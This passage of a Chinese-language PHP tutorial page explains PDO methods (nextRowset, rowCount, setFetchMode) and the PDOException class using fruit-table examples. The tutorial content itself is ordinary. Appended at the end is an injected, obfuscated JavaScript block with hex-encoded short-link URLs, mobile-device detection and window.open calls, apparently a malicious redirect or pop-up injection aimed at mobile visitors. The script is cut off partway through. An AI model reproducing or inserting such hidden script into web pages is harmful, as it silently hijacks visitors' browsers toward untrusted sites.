class=\"php plain\">}<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$i<\/code><code class=\"php plain\">++;<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php plain\">} <\/code><code class=\"php keyword\">while<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;nextRowset());<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php keyword\">function<\/code> <code class=\"php plain\">printResultSet(&amp;<\/code><code class=\"php variable\">$rowset<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$i<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php string\">\"Result set $i:\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php keyword\">foreach<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$rowset<\/code> <code class=\"php keyword\">as<\/code> <code class=\"php variable\">$row<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php keyword\">foreach<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$row<\/code> <code class=\"php keyword\">as<\/code> <code class=\"php variable\">$col<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php variable\">$col<\/code> <code class=\"php plain\">. <\/code><code class=\"php string\">\"\\t\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number21 index20 alt2\"><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number22 index21 alt1\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number23 index22 alt2\"><code class=\"php comments\">Result set 1:<\/code><\/div>\n<div class=\"line number24 index23 alt1\"><code class=\"php comments\">apple\u00a0\u00a0\u00a0 red<\/code><\/div>\n<div class=\"line number25 index24 alt2\"><code class=\"php comments\">banana\u00a0\u00a0 yellow<\/code><\/div>\n<div class=\"line number26 index25 alt1\"><\/div>\n<div class=\"line number27 index26 alt2\"><code class=\"php comments\">Result set 2:<\/code><\/div>\n<div class=\"line number28 index27 alt1\"><code class=\"php comments\">orange\u00a0\u00a0 orange\u00a0\u00a0\u00a0 150<\/code><\/div>\n<div class=\"line number29 index28 alt2\"><code class=\"php comments\">banana\u00a0\u00a0 yellow\u00a0\u00a0\u00a0 175<\/code><\/div>\n<div class=\"line number30 index29 alt1\"><\/div>\n<div class=\"line number31 index30 alt2\"><code class=\"php comments\">Result set 3:<\/code><\/div>\n<div class=\"line number32 index31 alt1\"><code class=\"php comments\">lime\u00a0\u00a0\u00a0\u00a0 green<\/code><\/div>\n<div class=\"line number33 index32 alt2\"><code class=\"php comments\">apple\u00a0\u00a0\u00a0 red<\/code><\/div>\n<div class=\"line number34 index33 alt1\"><code class=\"php comments\">banana\u00a0\u00a0 yellow<\/code><\/div>\n<div class=\"line number35 index34 alt2\"><code class=\"php comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::rowCount<\/div>\n<div>\u56de\u50b3\u53d7\u5230\u5f71\u97ff\u7684\u8cc7\u6599\u6709\u5e7e\u7b46<\/div>\n<div>\u4e00\u500b\u522a\u9664\u5f71\u97ff\u5e7e\u7b46\u8cc7\u6599\u7684\u7c21\u55ae\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_24579\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* Delete all rows from the FRUIT table *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$del<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">'DELETE FROM fruit'<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$del<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php comments\">\/* Return number of rows that were deleted *\/<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Return number of rows that were deleted:\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php variable\">$count<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$del<\/code><code class=\"php plain\">-&gt;rowCount();<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Deleted $count rows.\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php comments\">Return number of rows that were deleted:<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php comments\">Deleted 9 rows.<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u4e5f\u53ef\u4ee5\u85c9\u7531query \u4f86\u986f\u793a\u6bcf\u7b46\u53d7\u5f71\u97ff\u7684\u8cc7\u6599<\/div>\n<div>\n<div>\n<div id=\"highlighter_988680\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<div class=\"line number20 index19 alt1\">20<\/div>\n<div class=\"line number21 index20 alt2\">21<\/div>\n<div class=\"line number22 index21 alt1\">22<\/div>\n<div class=\"line number23 index22 alt2\">23<\/div>\n<div class=\"line number24 index23 alt1\">24<\/div>\n<div class=\"line number25 index24 alt2\">25<\/div>\n<div class=\"line number26 index25 alt1\">26<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$sql<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">\"SELECT COUNT(*) FROM fruit WHERE calories &gt; 100\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php keyword\">if<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$res<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$conn<\/code><code class=\"php plain\">-&gt;query(<\/code><code class=\"php variable\">$sql<\/code><code class=\"php plain\">)) {<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">\/* Check the number of rows that match the SELECT statement *\/<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php keyword\">if<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$res<\/code><code class=\"php plain\">-&gt;fetchColumn() &gt; 0) {<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">\/* Issue the real SELECT statement and work with the results *\/<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$sql<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">\"SELECT name FROM fruit WHERE calories &gt; 100\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php keyword\">foreach<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$conn<\/code><code class=\"php plain\">-&gt;query(<\/code><code class=\"php variable\">$sql<\/code><code class=\"php plain\">) <\/code><code class=\"php keyword\">as<\/code> <code class=\"php variable\">$row<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php string\">\"Name: \"<\/code> <code class=\"php plain\">.\u00a0 <\/code><code class=\"php variable\">$row<\/code><code class=\"php plain\">[<\/code><code class=\"php string\">'NAME'<\/code><code class=\"php plain\">] . <\/code><code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">\/* No rows matched -- do something else *\/<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php keyword\">else<\/code> <code class=\"php plain\">{<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php string\">\"No rows matched the query.\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php variable\">$res<\/code> <code class=\"php plain\">= null;<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"php variable\">$conn<\/code> <code class=\"php plain\">= null;<\/code><\/div>\n<div class=\"line number21 index20 alt2\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number22 index21 alt1\"><code class=\"php comments\">apple<\/code><\/div>\n<div class=\"line number23 index22 alt2\"><code class=\"php comments\">banana<\/code><\/div>\n<div class=\"line number24 index23 alt1\"><code class=\"php comments\">orange<\/code><\/div>\n<div class=\"line number25 index24 alt2\"><code class=\"php comments\">pear<\/code><\/div>\n<div class=\"line number26 index25 alt1\"><code class=\"php comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::setFetchMode<\/div>\n<div>\u8a2d\u5b9a\u6293\u53d6\u8cc7\u6599\u7684\u9810\u8a2d\u6a21\u5f0f<\/div>\n<div>\u4e00\u500b\u8a2d\u70baPDO::FETCH_NUM\u6a21\u5f0f<\/div>\n<div>\n<div>\n<div id=\"highlighter_156772\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<div class=\"line number20 index19 alt1\">20<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$sql<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'SELECT name, colour, calories FROM fruit'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php keyword\">try<\/code> <code class=\"php plain\">{<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php variable\">$stmt<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;query(<\/code><code class=\"php variable\">$sql<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php variable\">$result<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;setFetchMode(PDO::FETCH_NUM);<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php keyword\">while<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$row<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;fetch()) {<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php variable\">$row<\/code><code class=\"php plain\">[0] . <\/code><code class=\"php string\">\"\\t\"<\/code> <code class=\"php plain\">. <\/code><code class=\"php variable\">$row<\/code><code class=\"php plain\">[1] . <\/code><code class=\"php string\">\"\\t\"<\/code> <code class=\"php plain\">. <\/code><code class=\"php variable\">$row<\/code><code class=\"php plain\">[2] . <\/code><code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php keyword\">catch<\/code> <code class=\"php plain\">(PDOException <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php variable\">$e<\/code><code class=\"php plain\">-&gt;getMessage();<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php comments\">apple\u00a0\u00a0 red\u00a0\u00a0\u00a0\u00a0 150<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php comments\">banana\u00a0 yellow\u00a0 250<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php comments\">orange\u00a0 orange\u00a0 300<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php comments\">kiwi\u00a0\u00a0\u00a0 brown\u00a0\u00a0 75<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php comments\">lemon\u00a0\u00a0 yellow\u00a0 25<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"php comments\">pear\u00a0\u00a0\u00a0 green\u00a0\u00a0 150<\/code><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php comments\">watermelon\u00a0\u00a0\u00a0\u00a0\u00a0 pink\u00a0\u00a0\u00a0 90<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"php comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"item js-item clearfix    \" data-id=\"5777\" data-path=\"\" data-showborder=\"0\" data-position=\"1\" data-showwidth=\"120\" data-width=\"0\">\n<div class=\"sn\">9.<\/div>\n<div class=\"text\">\n<div class=\"note js-note\">\n<div>PDOException<\/div>\n<div>\u986f\u793apdo\u7522\u751f\u7684\u932f\u8aa4<\/div>\n<div><\/div>\n<div>\u985e\u5225\u6458\u8981<\/div>\n<div>\n<div>\n<div id=\"highlighter_929586\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php plain\">PDOException <\/code><code class=\"php keyword\">extends<\/code> <code class=\"php plain\">RuntimeException {<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php comments\">\/* \u5c6c\u6027 *\/<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php keyword\">public<\/code> <code class=\"php keyword\">array<\/code> <code class=\"php variable\">$errorInfo<\/code> <code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php keyword\">protected<\/code> <code class=\"php plain\">string <\/code><code class=\"php variable\">$message<\/code> <code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php keyword\">protected<\/code> <code class=\"php plain\">string <\/code><code class=\"php variable\">$code<\/code> <code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php comments\">\/* \u7e7c\u627f\u7684\u65b9\u6cd5 *\/<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php keyword\">final<\/code> <code class=\"php keyword\">public<\/code> <code class=\"php plain\">string Exception::getMessage ( void )<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php keyword\">final<\/code> <code class=\"php keyword\">public<\/code> <code class=\"php plain\">Exception Exception::getPrevious ( void )<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php keyword\">final<\/code> <code class=\"php keyword\">public<\/code> <code class=\"php plain\">int Exception::getCode ( void )<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php keyword\">final<\/code> <code class=\"php keyword\">public<\/code> <code class=\"php plain\">string Exception::getFile ( void )<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php keyword\">final<\/code> <code class=\"php keyword\">public<\/code> <code class=\"php plain\">int Exception::getLine ( void )<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php keyword\">final<\/code> <code class=\"php keyword\">public<\/code> <code class=\"php keyword\">array<\/code> <code class=\"php plain\">Exception::getTrace ( void )<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php keyword\">final<\/code> <code class=\"php keyword\">public<\/code> <code class=\"php plain\">string Exception::getTraceAsString ( void )<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php keyword\">public<\/code> <code class=\"php plain\">string Exception::__toString ( void )<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php keyword\">final<\/code> <code class=\"php keyword\">private<\/code> <code class=\"php plain\">void Exception::__clone ( void )<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php plain\">}<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u5c6c\u6027<\/div>\n<div>\n<ul>\n<li>errorInfo\uff1a\u76f8\u7576\u65bcPDO::errorInfo() \u6216 PDOStatement::errorInfo()<\/li>\n<li>message\uff1a\u6587\u672c\u932f\u8aa4\u8a0a\u606f\u3002\u7528 Exception::getMessage() \u4f86\u5b58\u53d6\u3002<\/li>\n<li>code\uff1aSQLSTATE \u932f\u8aa4\u78bc\u3002\u7528Exception::getCode() \u4f86\u5b58\u53d6\u3002<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x63\\x47\\x69\\x32\\x63\\x352','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x45\\x58\\x51\\x33\\x63\\x333','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x66\\x69\\x6b\\x30\\x63\\x300','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x6a\\x4b\\x65\\x37\\x63\\x327','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x46\\x48\\x53\\x36\\x63\\x346','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x6f\\x58\\x74\\x38\\x63\\x318','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x53\\x44\\x4f\\x35\\x63\\x365','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x70\\x79\\x55\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x67\\x79\\x48\\x34\\x63\\x344',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x4c\\x7a\\x41\\x39\\x63\\x369','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a 